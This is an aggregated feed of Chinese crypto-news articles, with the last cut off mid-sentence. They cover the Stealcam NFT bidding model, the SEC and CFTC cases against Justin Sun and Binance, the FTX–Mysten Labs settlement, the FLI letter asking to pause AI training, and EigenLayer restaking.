作品在 mint 完毕后几乎没有交易量，所谓的底价不过是 Holder 们自欺欺人挂了一个心理预期出售价格，可以说，没有交易量，没有流动性是大部分 NFT 目前面临的窘境。 在这种情况下，如果一开始就将竞拍者（stealer）纳入到收益分成体系中，即只要接手的作品能卖出，产生的价差收益的 45% 即刻打给这个竞拍者，那么，对于 NFT 流动性就会产生正向回馈，并推动 NFT 作品的价格发现。 既然我们承认流动性十分重要，且在当今 NFT 市场中价格发现难度如此之高，那么那些为一件作品最终价格发现做出贡献的人就是重要的贡献者，理应从该作品收入中分得一杯羹。而这也是所有制经济的核心，即一个社区的参与者应该获得该社区所产生价值的一部分，比例与自己的贡献值正相关。 在 Stealcam 中，这种公平性体现在： 作品创建者将获得永久的作品版税分成，即每一次 steal 和前次 steal 价差的的 45% 将自动分配给作者。这意味着，只要该图片在市场上仍有销量，其创作者/发布者就永远可以获得销售额的分成收入，相当于永久版权分成。 而 Stealer 除了获得全部返还的 steal 成本之外，还可获得单次 steal 所产生溢价（即两次 steal 之间的差价）部分的 45%。 Steal 贡献者都可以获得单次 steal 产生的收益的 45%，考虑到他们对该作品当下这笔交易的价格发现做出了贡献，这是一种非常合理的分配，而对于发布者，则获得每次拍卖赚取差价的另外 45%，该分配贯穿于每一次竞拍中，因此相当于是永久版权。 当我们还在为「创作者的版税究竟是应该可选还是强制执行」，「NFT 市场应该以买方还是卖方市场为主」争论不休时，这样一种「不多不少」的折衷分配机制或许是一个值得考虑的方案。 当然，如果将粉丝经济也考虑在内，比如发布者本身就是竞拍者参与的社区或人（无论是作家、音乐人、导演还是艺术家），那么，以这种方式参与竞拍也不再是一件纯粹赚钱的举动，而是社区参与为主、顺便赚钱的事情。 Stealcam 也为发布者提供了十分友好的「粉丝管理」界面，在个人账户页面的「top fans」tab 上，Stealcam 根据 steal 次数指标对每个用户的粉丝进行排名，方面查看自己粉丝的互动数据。 值得注意的是，虽然 Stealcam 在用户界面上还稍显粗糙，但在「收入提现」功能上却体现了十足的诚意，即每一次竞拍产生的收入都会即刻提取到用户钱包中，没有延迟，不需要手动提取，即可在自己钱包中看到自己当前赚取的收入显示。 购买和投资策略：如何通过 steal 赚取差价 除了发布和分享作品永远享受差价的 45% 永久版税，用户也可以通过 steal 别人的作品来赚取收入。 最稳妥的一种参与方式是，steal 图片的第一次翻图权，0 成本+非常少的 gas 费，只要有下一名 stealer 出现，就可以赚得 0.001ETH，然而就仅此而已了，后面这个作品即使被拍到 100ETH，也和你没有关系。这是最稳最无风险的一种参与方式。 另一种方式，则是选择在一件热门作品的中后期加入竞拍，根据平台规则，每一次 steal 价格都会在前一次 steal 的基础上增长 10%，因此参与时机越靠后，收益份额会越高，相应的风险系数也越高。当然，这种方式有一定的成本和较高的风险，如果接手后该作品无法被下一个人 steal，那么你就是该作品最后的接盘者。因此在选择时需考虑市场预期，比如名人/知名艺术家/或者热度较高的社区等发布的作品，这就是所谓的名人效应。 还可以怎么玩？预期管理，玩噱头，发谍照 常规玩法之外，Stealcam 还有哪些潜在的使用场景和玩法？ 发布者可通过 Stealcam 发布一系列「早知道」预告，允许粉丝 reveal 偷窥，粉丝通过 steal 获得翻图权，通过激发粉丝/用户的好奇心和口口相传为未来要发布的作品造势。这些作品应不受格式的限制，除了图片，还应该支持音乐作品的试听、电影预告片等。而创作者也不局限于艺术家，而应该包括更广泛意义上的 creator，包括音乐人、导演、作家、摄影师、电竞主播、女优、AI 虚拟人物、社区和企业品牌等。 事实上，已经开始有企业品牌开始在 Stealcam 运营了。比如 NFT 社交平台 showtime 通过在 Stealcam 铸造 NFT 发布产品未来功能的谍照，showtime 并不是唯一一个使用 Stealcam 预告新功能的产品，Rainbow 钱包也通过发布产品未来的功能谍照来吸引用户的注意。 Rainbow 钱包在 Stealcam 上发布「未来产品功能」谍照 对与财务投资密切相关的加密行业来说，谍照则意味着 alpha、一个项目方新功能的预告或者 roadmap 的公布，这都对加密用户/持币者产生绝对的吸引力，只不过，这种特殊的谍照打的是信息差套利，因此越到后面 reveal 这些信息是越没有吸引力的，这就需要有自定义功能的竞拍定价模型。 需要注意的是，目前 Stealcam 上有很多冒充名人的假号，steal 时建议仔细确认，由于目前 Stealcam 仅支持推特授权认证，同时支持匿名，因此唯一验证的方式就是在发布者的个人页面查看绑定的推特账号是否为本人。  ( 6 min )
    “币圈大佬”们遭指控，法律角度分析事件后续影响
    最近几天，海外虚拟资产圈里接连出现了几件影响力颇大的事件，美国两个虚拟资产主要监管机构：美国证券交易委员会（United States Securities and Exchange Commission，以下简称“SEC”）和美国商品期货交易委员会（Commodity Futures Trading Commission，以下简称“CFTC”），前后脚对虚拟资产重拳出击。 先是SEC在纽约法院起诉了火某币实控人孙某某（Justin Sun）及其所控制的三家全资公司Tron Foundation Limited、BitTorrent Foundation Ltd.以及Rainberry Inc.涉嫌（1）未经合规注册就向公众提供和销售加密资产证券Tronix（即TRX币）和BitTorrent（BTT币）；（2）通过大量的洗售交易（wash trading）欺诈和操纵加密货币二级市场。随后，CFTC也不甘示弱，向币圈另一大佬赵某某（CZ）发难，起诉其本人及旗下的全球头部加密资产交易平台Binance Holdings Limited、Binance Holdings（IE）Limited和Binance（Services）Holdings Limited违反了美国商品交易法（CEA）和CFTC的其他规定，未按要求进行合规注册且故意逃避监管。 我们一次先讲一件事，今天我们就将目光放到证监会与火某币、孙某某那边，从法律角度对SEC的指控做出较为详细的分析并预判案件走向和后续可能产生的影响。 一、 SEC指控了什么？ 如前所述，如果我们将SEC长达数十页的起诉书精简为重要信息可以发现，SEC主要指控了孙某某及其实际控制的三家法人实体主要存在两项严重违反美国《证券法》及SEC监管规则的行为： （1）未按照美国《证券法》规定注册和履行其他监管义务，就公开向美国公众发行和出售加密资产证券Tronix（TRX）和BitTorrent（BTT）； （2）孙某某通过一系列的做市营销行为，包括利用由自己人控制的账户进行广泛的洗售交易（也就是自买自卖行为）抬升币价、利用“赏金计划”（bounty programs）给名人（演员、明星、网红等具有广泛网络影响力和号召力的人）送钱打广告，以提升该虚拟币的影响力。涉嫌欺诈和操纵证券市场。 二、未经注册发行和销售证券 首先我们要明确一个前提，加密货币是不是证券？按照美国1933年证券法的规定，“证券”一词系指任何票据、股票、库存股票、债券、公司信用债券、债务凭证、盈利分享协议下的权益证书或参与证书、以证券作抵押的信用证书，组建前证书或认购书、可转让股票、投资契约、股权信托证，证券存款单、石油、煤气或其他矿产小额利息滚存权，或一般来说，被普遍认为是“证券”的任何权益和票据，或上述任一种证券的权益或参与证书、暂时或临时证书、收据、担保证书，或认股证书或订购权或购买权。 可见，美国证券法对于“证券”的定义是非常宽泛的，对于传统的股票、债券等还好说，但如果是加密货币这种新型资产，那么光靠上面的定义就完全没法得出一个确定的结论。此时SEC就引入了一个叫做“豪威测试”（Howey Test）的判断标准，用来确定一个东西到底是不是证券。如果在测试中得出肯定的结论，那么该资产就要受到美国1933年《证券法》和1934年《证券交易法》关于证券信息披露和注册要求的约束。 豪威测试来自七十多年前，美国最高院的一个著名判例：SEC诉W.J. Howey公司案（SEC v. W.J. Howey Co.），简单来说就是一家叫豪威的公司将大片的柑橘园卖给了佛罗里达州的一些有钱人，然后这些买家再通过租赁合同将土地租回给豪威公司，由公司的工作人员来实际经营果园并代表买家来出售水果，最后双方按比例分享收入。这样一来，豪威公司不仅成功取得了融资并能在后续通过经营柑橘园获得分成收益，有钱没技术的买家们通过投资获取了一个有价值的资产和一笔稳定的收益且不需要自己实际去种地，实现双赢。 但是，美国最高院认为，这种经营模式下（回租安排）的买卖和租赁合同并不单纯，在公司与买家之间实际上构成了一种投资法律关系，双方所签订的实际上是一个投资合同。美国最高院在判例中确定了如下规则： 判断是否为投资合同（证券）的四大条件： 1. 是否为金钱（money）投资； 2. 是否投资期待利益（profits）的产生； 3. 该投资是针对特定事业（common enterprise）的； 4. 利益的产生源自发行人或第三人的努力而非购买者本人。 需要注意的是，该定义中的“金钱”（money）的概念在后续的一系列判例中不断扩大，基本上只要有价值的资产都可被视为金钱投资。最关键的是第四条，即“利益的产生源自发行人或第三人的努力而非购买者本人”换言之，如果购买者自身的行为将决定盈利是否产生，那么该等投资就不构成证券。在司法实践中，美国法院采用“实质性审查”的原则，直接审查投资行为的实质，与我国金融监管机构的“穿透式监管”异曲同工。 我们可以直接给出一个较为确定的结论：在该测试下，孙某某及其实控公司发行的Tronix（TRX）和BitTorrent（BTT）两种加密货币可被认为美国1933《证券法》及1934《证券交易法》意义上的“证券”，因此需要符合法律和SEC的监管规则。具体而言，孙某某未经注册发行加密货币和空投加密货币的行为，违反了1933《证券法》第五节的要求（Section 5 of the Securities Act of 1933）。 1933《证券法》第五条规定非常复杂，飒姐团队在此简要为大家讲解：该条规定，只要一个构成“投资合同”的证券产品未经注册和出具合法的注册报告书，就在美国的州际贸易中利用任何交通或通讯手段、工具，邮寄或通过任何媒介或方式出售这种证券或导致这种证券在洲际贸易中传递就属于非法发行和出售证券的行为。 孙某某的加密货币未经注册就大规模向包括美国公民在内的加密资产钱包地址进行空投，就构成了违反《证券法》的行为。 三、非法做市涉嫌欺诈和操纵证券市场 在该项指控中，SEC主要将火力瞄准了孙某某在宣传和营销Tronix（TRX）和BitTorrent（BTT）两种加密货币时实施了两种违法行为： （1）隐瞒了花钱请明星网红隐瞒在社交媒体账户上推广TRX和BTT两种虚拟货币的行为，该行为误导公众认为这些明星网红对TRX和BTT有“无偏见的”（unbiased）的投资兴趣，从而在未经适当信息披露的情况下吸引投资者。 （2）从2018年4月到2019年2月期间，孙某某指示员工在由其控制的两个加密资产交易平台账户之间进行了超过60万笔自买自卖的清洗交易，每天的交易数在450万至740万TRX币之间，创造该加密货币流动性高、虚假繁荣的假象以吸引投资者。 关于第一项非法宣传的行为，飒姐以前就跟大家说过，美国网红做付费推广的如果是一个具有投资风险的金融产品，那么必须明确向粉丝进行披露（要详细到自己这个推广到底收了多少钱），否则将会面临严重的法律风险。 美国《联邦贸易委员会法案》规定，网络付费推广必须在促销推文中做出明确的披露。披露甚至需要达到收费细节的程度。如果是视频推广，博主必须在整个推广视频中全程标注披露，不能只在片头或片尾展示。网红在推广虚拟资产时，如果未披露自己与项目运营方存在有偿商务合作，可能会违反《联邦贸易委员会法案》，面临行政处罚。典型的案例是美国名媛金卡戴珊（Kim Kardashian）行政处罚案，该网红由于与某虚拟资产服务提供商合作在社交平台上推广了一种加密货币被罚126万美元。卡戴珊在信息披露方面仅标注了该推广是广告，但未披露其获得了25万美元的推广费。目前孙某某事件中一同被SEC起诉的8位名人，已经同意与证监会和解。 而第二项非法做市欺诈和操纵证券市场的行为重点还是在老生常谈的“洗售交易”上。所谓洗售交易，指的是早已存在在传统证券市场上的虚假交易形式，一笔交易或一系列交易看上去确实是在买入和卖出资产，从数据上看资产也确实在流动，但其实这些交易皆出自同一人、同一主体或存在特定利益关联的关联方，也就是俗称的自买自卖。 洗售交易广泛地存在于金融产品、加密货币和NFT等一切存在炒作空间的地方，往往会导致投资者对投资品的实际盈利能力、投资收益等产生误判。因此，普遍被世界各国金融监管主体严厉打击。此次SEC已经提出了足够多的证据起诉孙某某清洗交易并操纵证券市场，如果证据属实，不出意外的话孙某某将会为此行为付出巨大代价。 写在最后 无论是SEC还是CFTC的案件，目前都还处于早期阶段。飒姐团队建议大家先保持密切关注，让子弹再飞一会儿，才能更好的看清案件事实与美国监管机构的监管思路。美国SEC高管近期的一句名言较为准确的概括了监管机构的行动原则：“虽然我们对相关技术持中立态度，但在投资者保护方面我们绝不中立。”可见，基于投资者保护的目的，未来一段时间内美国将会持续对虚拟资产（飒姐团队提示：包括加密货币和NFT在内）进行更加强力的监管。  ( 4 min )
    MystenLabs与FTX债务人123页法庭文件要点总结：我们可以获得SUI哪些关键信息？
    原文：《MystenLabs与FTX债务人的123页法庭文件，透露了哪些 SUI 的信息？》 作者：Julian 近日，根据相关法庭文件披露，Mysten Labs 3月22日与FTX债务人达成协议，将以9630万美元的现金回购 FTX 对Mysten Labs的股权投资和SUI代币权证。 长达123页的文件议，详细还原了2022年8月FTX 投资 MystenLabs 的情况。结合法庭文件和 Sui 近期的一系列动作，SuiWorld 进行了一些总结及分析： 1、 Mysten Labs约20亿美元估值完成超3亿美元的B轮融资 这个融资信息是去年的公开消息了。FTX及B轮投资者们通过投资MystenLabs 的B轮优先股权，获得了Sui Token 的代币权证。 2、 FTX 约1.02亿美元获得约8.9亿枚Sui Token FTX在MystenLabs 的B轮融中总共投资了1.02亿美元，获得了约57万股优先股，和获得约8.9亿枚Sui Token的代币认购权证。作为领投方的FTX 投资Sui Token的平均成本是非常低的，约0.114美元。 FTX这里有两笔获得SUI代币权证非常重要：Cottonwood Grove Limited（Alameda）和 FTXTrading 分别以500美元的价格获得了约1.73 亿和3.46亿枚共计5.19亿枚Sui Token 的代币权证。这5.19 枚Sui Token 在 Sui NetWork 主网上线和Sui Token启动后，满足一定条件，将用于在FTX 平台上做市交易。（Sui World 注：Cottonwood Grove Limited 是AlamedaResearch全资控股公司） 作为曾经的头部交易平台和做市商， FTX 领投Sui 超过1亿美元的的一个重要条件，就是旗下的做市商Alameda 和FTX Trading几乎免费拿到了5.19亿枚 Sui Token用于在FTX.com 平台上做市。但是随着FTX在Sui 启动之前就崩溃了，这个代币权证的协议也不存在了。 3、部分B轮投资者的Sui Token筹码成本约为0.28-0.31美元 抛开 FTX 的做市筹码部分，其他部分B轮投资者获得Sui Token代币权证的成本仍然可以参考 FTX Ventures，平均成本约在0.28-0.31美元之间。 4、Sui 将收回大量低成本的机构筹码 除了约0.28-0.31美元之间的Sui Token 投资筹码，对于领投方FTX来说，还额外获得了5.19亿枚Sui Token的做市筹码。 如今Mysten Labs以9630万美元的现金回购 FTX 对Mysten Labs的股权投资和SUI代币权证，意味着收回了大量FTX 低成本的投资筹码和做市筹码。对于未来上线的 Sui Token 来说是个好事。 值得提的是，FTX同样也以相似的估值、投资金额领投了另一条Move 链Aptos，FTX对Aptos的投资方案或和Sui非常相似，即FTX 持有大量（超过流通量1/3）低成本的投资筹码和做市筹码。这意味着在FTX 崩溃之前上线的Aptos，部分低价筹码已经进入市场，没出售完的筹码也会等待FTX债权人的处置方案。 5、FTX债务人可以继续“向其它第三方寻求更高的报价” 文件还披露，目前FTX债务人可以继续“向其它第三方寻求更高的报价”，直到法院最终确定出售日期。Mysten Labs的股权投资和Sui代币权证对于不少机构来说还是有吸引力的。 6、SUI 主网上线少了最大的外部障碍 处理完与 FTX 债务人的问题，也就处理了SUI 主网上线的最大的一个外部障碍。SUI 主网上线与Sui Token的发布，不用考虑来自 FTX 此前的投资筹码的处理问题。 7、9630万美元对应了1亿美元基金 9630万美元的现金回购一旦完成，对于去年刚融资超过3亿美元的Mysten Labs来说，短期并无财务影响。长期的影响或主要在于Mysten Labs 对Web3的一些布局，比如投资、收购 Web3项目。 这也对应上了此前的消息，Mysten Labs 首席执行官Evan Cheng 正寻求为一个 Web3 基金筹集超 1 亿美元资金，该基金将不限于 Sui 生态。Hashed 联合创始人 Alex Shin 和资深对冲基金投资者 Sandeep Ramesh 将作为普通合伙人加入新创立的 Web3 风险基金。  ( 5 min )
    马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统
    PANews 3月29日消息，据澎湃新闻报道，未来生命研究所（Future of Life Institute）公布一封公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。辛顿、马库斯和马斯克均签署了这封公开信。 未来生命研究所的这封公开信题为“暂停巨型AI实验：一封公开信”，于29日解封。截至发稿，这封信已有1079名科技领袖和研究人员签名，除了马斯克、辛顿和马库斯之外，还包括图灵奖得主约书亚·本希奥（Yoshua Bengio）、《人工智能：现代方法》作者斯图尔特·罗素（Stuart Russell）、 苹果公司联合创始人史蒂夫·沃兹尼亚克（Steve Wozniak）、Stability AI首席执行官埃马德·莫斯塔克（Emad Mostaque）等科技界领袖人物。 信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。  ( 4 min )
    以太坊生态创新不断，为什么EigenLayer值得特别关注？
    原文作者：DX, Henry Ang, Mustafa Yilham, Allen Zhao, Jermaine Wong & Jinhao，Bixin Ventures 区块链被称之为“信任机器”，用户构建网络无需中心化监管机构许可（permisionless）——比特币是一切的起点，它通过PoW共识机制帮助矿工就价值分配达成共识从而创建了一个信任层，一切价值传输发生在这个信任层之上。 但比特币的一个问题是，它更像一条只支持转账功能的单一应用链（application specific blockchain），其他的应用如Namecoin需要再去创建自己的信任层以便运行，这为应用创新设置了巨大的障碍。以太坊的开创性在于，它在比特币的创新之上添加了一层通用的图灵完备的执行层（即EVM）。在将应用层和信任层进行拆分后，应用可以直接在以太坊上部署自己的智能合约，并得到信任层的安全保证，无须从头创建自己的信任层。   The Merge后，以太坊从PoW共识转变为PoS共识，相比于PoW机制需要矿工使用硬件比拼算力达成共识，PoS机制要求节点质押一定资金投票达成共识，诚实的节点得到网络奖励，一旦违反规则，也会因此受到惩罚，这样做有两点好处： 首先，惩罚机制可以在破坏收益（Profit from Corruption）不变的情况下提高破坏成本（Cost of Corruption），有助于提升信任层的经济安全性。 其次，实现协议对节点更精细的治理结构，在拓展节点治理能力的同时对节点行为有更多维度的引导。例如以太坊可以根据一段期间内的罚没总金额动态决定恶意节点的罚没金额，加重对于恶意串通节点的惩罚力度；或者在inactivity leak模式，即太多节点下线以至于在四个epochs中共识都无法达成最终性时，以太坊可以通过罚没下线节点资金来恢复最终性，保证整个网络活性。 依赖该机制，以太坊更加平衡地管理了信任层节点的权利和义务。 以太坊对信任层的管理基于共识协议层面的的协议内罚没机制，当非以太坊上的应用希望利用以太坊的信任层时，没办法对违反应用规则但是却遵守以太坊共识规则的节点资金进行罚没。换句话说，这些非以太坊应用无法直接使用以太坊的信任层作为基础。 而这些非以太坊应用或者中间件，例如预言机或者跨链桥等协议，都需要创建自己的信任层或者主动验证人服务（actively validated service, AVS），这在实际中提高了应用层的创新门槛和经济负担，减缓了应用层的创新速度。而不同的AVS也会导致流动性的割裂，从而影响每一个AVS的经济安全性。 面对以太坊信任层的局限，EigenLayer采用再质押（restaking）来拓展以太坊信任层的罚没机制。通过智能合约掌管节点的资金取回凭证，EigenLayer创建了一个新的智能合约层面的罚没机制。 当一个以太坊验证节点通过EigenLayer参与验证时，它的资金取回地址会被设置为EigenLayer的智能合约，如果该节点违反应用层的规则，EigenLayer可将其取回的ETH通过罚没合约进行罚没。这样的罚没机制使得应用层可以通过智能合约来确认以太坊信任层节点的权利和义务，为其他应用或者中间件利用以太坊的信任层提供可能。 信任的交易市场 在再质押的基础上，EigenLayer将会建立一个公开的信任交易市场（open trust marketplace）来将信任货币化。首先，以太坊信任层节点以供给方的身份，与作为需求方的应用层协议通过自由市场机制决定交易内容。其次，节点根据自己偏好的风险收益比和罚没条件决定是否参与某个应用的验证工作以获得额外的收益。应用层协议可以通过市场化的价格便捷地购买“信任”，从而能够专注于应用层的协议创新和运营，实现自身安全性和性能的平衡。 EigenLayer的外部性 基于再质押和信任交易市场的创新设计，EigenLaler对整个以太坊生态的影响也表现出正反两方面特征。 1）加速应用层创新 通过建立信任的交易市场，Eigenlayer进一步将以太坊的信任层与执行层进行拆分并模块化。非以太坊的应用能够可以利用模块化的信任层便捷地获得信任，大大降低构筑安全性的资金门槛。这为诸如预言机，数据可用性层，去中心化sequencer，跨链桥，侧链等看重经济安全性的应用和中间件协议带来了巨大的好处，使它们可以专注于协议创新和用户体验。类似于Web3社交协议，当社交数据下沉至数据层，所有社交协议都可以无准入地便捷访问数据层时，应用创新和用户体验将会得到快速地提高。 2）帮助协议层创新 由于EigenLayer在智能合约层面拥有了与共识协议层面相同效果的罚没机制，它也可以在不改变现有共识机制的基础上创建一些其他的规则让节点去选择遵守，达到一种类共识机制的效果。 例如解决single-slot最终性问题，以太坊目前使用Gasper协议，只能对每一个epoch中的第一个区块（checkpoint block）提供最终性，暂时无法对epoch中的每一个slot提供最终性。但是通过使用EigenLayer，节点保证选择沿着包含某slot区块的主链继续构建让每个slot都获得最终性，违反承诺的节点会被罚没资金。 另一个例子是解决MEV中的partial-block MEV-Boost问题。目前，区块构建者（builder）只能通过MEV-Boost提交完整区块，区块提议者（proposer）只有在签署区块头并保证按照构建者想法添加区块后，才能看到完整的区块内容——这是为了防止提议者剽窃区块自行获利。 EigenLayer可以让构建者提交部分区块，剩余区块由提议者自己构建，当提议者没有按照约定将构建者的部分交易纳入最终区块时，它的资金就会被EigenLayer罚没。这样，更大范围的区块提议者也可以参与到区块构建中并获得部分MEV收入，从而抑制区块构建者的中心化。另外，由于更加中心化的区块构建者不能负责全部区块的构建，共识机制随机选出的提议者也可以参与区块构建，提高以太坊交易的抗审查性。 3）促进以太坊信任层的经济安全性 EigenLayer让以太坊节点在衡量风险收益比后选择获得额外的收益，以太坊节点质押的收益率会变得更高，这会进一步导致更多的ETH被用来质押，促进以太坊的经济安全性以及为应用协议提供的安全性，形成良好的正反馈。 4）提高以太坊信任层的去中心化程度 一方面，EigenLayer为个人节点提供了更高的质押收益，会激励更多的人自己运行节点。另一方面，应用协议可以要求参与验证的节点只能为个人节点，这样既可以提升应用的去中心化程度，也可以提升整个以太坊信任层的去中心化程度。 1）非正常罚没对以太坊信任层的损害 除违反规则导致的正常罚没之外，整个系统可能还会存在因为代码bug或者恶意协议产生的非正常罚没，即使是诚实节点也会被罚没质押资金。当非正常罚没导致诚实节点的大规模罚没时，以太坊信任层的经济安全性也会受到非常大的损害。 为降低这种负外部性，EigenLayer采取了两种应对方法。第一种是通过严格的审计降低风险，第二种是提供了对罚没的一票否决制度，治理委员会可以通过多签对罚没进行一票否决，为极端情况提供兜底保证。 2）再质押造成的信任杠杆 在公开的信任交易市场中，信任层节点可以通过再质押为不同的协议提供验证服务来获得额外的收益。当信任层资金为了获得更多收益而为价值累计非常大的应用/中间件层提供验证服务时，可能为信任带来杠杆极端化，使得破坏收益高于破坏成本，降低信任层的经济安全性。因此，对于节点再质押的限制以及信任层收益和安全性的平衡需要后续的实践给出更加准确的答案。 未来，区块链将通过高度的模块化和部分职责外包以增强其性能。EigenLayer正在构建的东西不仅有利于整个以太坊生态系统，而且有利于以太坊之外的生态系统。除了上述提到的几点，EigenLayer的定位是彻底改变当前的区块限制模型，通过利用节点过剩资源池，成为打破以太坊民主和灵活性两者间权衡的新的试验田，从而为新的商业模式注入更多可能性。 与此同时，EigenLayer也在致力于开发包括EigenDA在内的新产品，EigenDA是以太坊超大规模数据可用性层，旨在实现更便宜、更一致的费用，以及更高的数据可用性带宽。EigenLayer还计划与Mantle Network等团队展开合作，将这项技术推向更广阔的场景，我们非常期待看到EigenLayer将如何影响L2的未来发展。  ( 4 min )
    CFTC 起诉 CZ 和 Binance 违反美国监管规定的法律逻辑
    一、CFTC 新闻稿整理 CFTC 指控 Binance 及其创始人 CZ 故意逃避美国法律，非法经营虚拟资产衍生品交易所 2023 年 3 月 27 日，美国商品期货交易委员会（CFTC）发布公告称，它已向美国伊利诺伊州北区地方法院提起民事诉讼，指控 CZ 和其运营 Binance 平台的三个实体多次违反《商品交易法》（CEA）和 CFTC 的规定。同时，CFTC 还指控 Binance 前首席合规官 Samuel Lim 协助和教唆 Binance 进行违规操作。 根据起诉书，从 2019 年 7 月至今，Binance 向美国人提供和执行虚拟资产衍生品交易（尽管屏蔽美国 IP 地址），在 CZ 的指导下，Binance 指示其员工和客户通过规避合规控制（包括通过 VPNs、设立壳公司等手段），故意逃避美国法律，通过不透明的方式开展业务，无视 CEA 和 CFTC 的规定，同时有计划地进行监管套利以谋取商业利益。  CFTC 指控 Binance 这样的在美提供虚拟资产衍生品服务的实体，应向 CFTC 注册为期货佣金商 (Futures Commission Merchants, FCM) 承担类似于 KYC 等合规义务，并执行旨在防止和侦查恐怖主义融资和洗钱活动的基本合规要求。根据 Binance 开展的衍生品交易业务，还应向 CFTC 注册为指定合约市场（Designated Contract Market, DCM）或掉期执行机构（Swap Execution Facility, SEF）。而 Binance 从未向 CFTC 注册。 因此，CFTC 通过民事诉讼的形式指控 CZ 及其关联方违反了有关期货交易、非法场外大宗商品期权、未注册为期货佣金商，或指定合同市场，或掉期执行机构的相关法律法规，并且疏于监管、未实施 KYC 或反洗钱流程，以及制定不合格的合规计划等，向法院寻求对 CZ 及其关联方的民事处罚和永久性的交易和注册禁令。 CFTC 主席 Rostin Behnam 表示：“今天的执法行动表明，没有任何地区，或声称没有管辖权的地区，可以阻止 CFTC 保护美国投资者。我已经明确表示，CFTC 将继续使用其所有权力来发现和制止在动荡和高风险的虚拟资产行业中的不当行为……多年来，Binance 明知他们违反了 CFTC 法规，但仍积极开展工作以保持资金流动并避免合规。这应该是对虚拟资产世界中所有人的警告，即 CFTC 不会容忍故意规避美国法律的行为。”   二、先总结 看完了整个 74 页的起诉书，CFTC 这次对 CZ 及其关联方的控诉并没有什么问题。核心逻辑是：CZ 控制着 Binance 开展一系列虚拟资产衍生品交易业务，因为美国客户贡献了相当大一部分利润，那么如何帮助美国客户逃避监管、规避合规控制就是 CZ 这个精明商人的第一要务了。 Binance 明面上管理着大几百人的豪华合规团队，并且屏蔽美国客户，但是 CZ 拉上了首席合规官 Samuel Lim 为其出谋划策，通过 VPNs、设立离岸壳公司等一系列被 CFTC 称为“Creative Means”的方式，在明知违反美国法律的情况下，继续为美国客户提供衍生品交易业务。 这就撞到 CFTC 的枪口上了，CFTC 对于虚拟资产的监管逻辑是：首先所有虚拟资产都是商品，在此基础上虚拟资产现货市场上的欺诈和市场操纵等行为，以及涉及保证金、杠杆或融资的虚拟资产商品期货交易行为，以及相关参与主体的合规登记都应遵守 CEA 的规定并受 CFTC 的监管。 这里其实依然存在一个 Crypto 监管的真空地带。如果说虚拟资产都让 CFTC 来管，虽然 CFTC 有能力监管虚拟资产现货市场上的欺诈和市场操纵等行为，但是 CFTC 没有能力对不涉及保证金、杠杆或融资的虚拟资产期货交易行为进行监管。如果说让 SEC 来管，那么 SEC 只有在认定虚拟资产为“证券”的前提下才能行使其管辖权，在这个高标准下才会衍生出涉及证券的欺诈、操纵市场等等。所以我们看到几乎所有 SEC 针对虚拟资产的案件中，第一句话就是：“XXX 发行和出售未注册证券。” 不论如何，在 SEC 第一季度频繁对行业巨鳄开炮的背景下，这次 CFTC 直接将矛头指向了 CZ 及 Binance，确实让 Rostin Behnam 出了一把风头，在新闻稿中的发言颇有一番小人得志的感觉：“This should be a warning to anyone in the digital asset world, there is no location, or claimed lack of location, that will prevent the CFTC from protecting American investors.”如果 CZ 选择硬钢的话，至少 Binance.US 是很难幸免的，Binance 收购 Voyager 的交易也可能告吹，此举也可能慢慢撕开 Binance 帝国的神秘面纱。   三、再分析——CFTC 对 CZ 及 Binance 提起诉讼的法律基础 3.1 CFTC 及 CEA 的介绍 美国商品期货交易委员会（Commodity Futures Trading Commission, CFTC）是美国政府于 1974 年设立的独立机构。美国国会授权 CFTC 管理和执行美国 1936 年《商品交易法》（Commodity Exchange Act of 1936，CEA）及其颁布的法规，主要负责监管美国商品期货、期权和金融期货、期权市场，旨在为了促进公众利益和金融市场的健全，以保护市场参与者及公众不受欺诈、市场操纵和其他破坏市场秩序行为的侵害。 3.2 CFTC 对虚拟资产的商品认定 早在 2015 年针对 Coinflip, Inc. 的执法行动中，CFTC 就将比特币定义为 CEA 下的“商品”。在该案件中，Coinflip, Inc. 运营着一家名为 Derivabit 的比特币金融交易平台，为投资者撮合比特币期权合约，在运营期间未遵守 CEA 及 CFTC 的监管规定履行合规义务，从而受到 CFTC 的执法处罚。 此后，CFTC 将虚拟货币认定为 CEA 所调整的商品。CEA 项下的商品是一个非常宽泛的定义，其不仅包括实体商品，还可以包括无形商品，以及类似于碳排放权的权利与利益等（…all other goods and articles…and all services, rights, and interests…in which contracts for future delivery are presently or in the future dealt in）。此外，美国多个司法判例也认定虚拟货币是 CEA 定义下的“商品”，必须遵守 CEA 的规定并受 CFTC 的监管。 此外，现任 CFTC 主席 Rostin Behnam 也表示 CFTC 的监管框架已经具备监管虚拟资产市场大部分虚拟货币的能力，包含比特币和以太坊以内。在 CFTC 官网 Digital Assets 的专栏里也专门发布了关于虚拟资产（主要涉及虚拟货币）的信息。 虚拟资产（Digital Asset）是任何可以电子方式存储和传输，并具有相关所有权或使用权的资产。虚拟资产是资产价值的数字表示，包括作为交换媒介、记账单位、价值存储。一些虚拟资产，如 BTC、ETH、LTC 和至少两种法币支持的稳定币：Tether（“USDT”）和 Binance UDS（“BUSD”），以及本文所提及的其他虚拟货币，根据 CEA 第 1 a (9) 节的定义，都属于“商品”。近年来随着虚拟资产行业的发展，在 CFTC 注册的交易所（如芝加哥商品交易所和芝加哥期权交易所）也提供了一些虚拟资产的期货合约。 这使 CFTC 有能力监管虚拟资产现货市场上的欺诈和市场操纵等行为，但是，CFTC 没有能力对不涉及保证金、杠杆或融资的虚拟资产期货交易行为进行监管。不过随着目前国会正在审议的多部立法提案都将赋予 CFTC 对更大的权力，相信目前 CFTC 这一尴尬的局面很快能够得到改善。 3.3“商品”期货交易的认定 如果虚拟资产的交易满足以下条件，那么该种交易将被定义为 CEA 第 2（c）2（D）项下的“期货交易（a contract of sale of a commodity for future delivery）”，那么结果是提供交易的平台及从事交易的主体必须遵守 CEA 的规定并受 CFTC 的监管： （i）交易对象必须是 CEA 所定义的“非合格合约参与者”（Non-Eligible Contract Participant）。根据 CEA 的相关规定，如果接受商品交易的一方是 CEA 所定义的“合格合约参与者”或“合格商事主体”，则该交易就不属于 CEA 所规定的零售商品交易（Retail Commodity Transactions）的类型。这里的零售商品交易相当于通常意义上的散户交易，目的是为了保护一般投资者的合法权益。 此外，应特别注意 CEA 所调整的零售商品交易关系不仅包括已经订立合约（confirming the 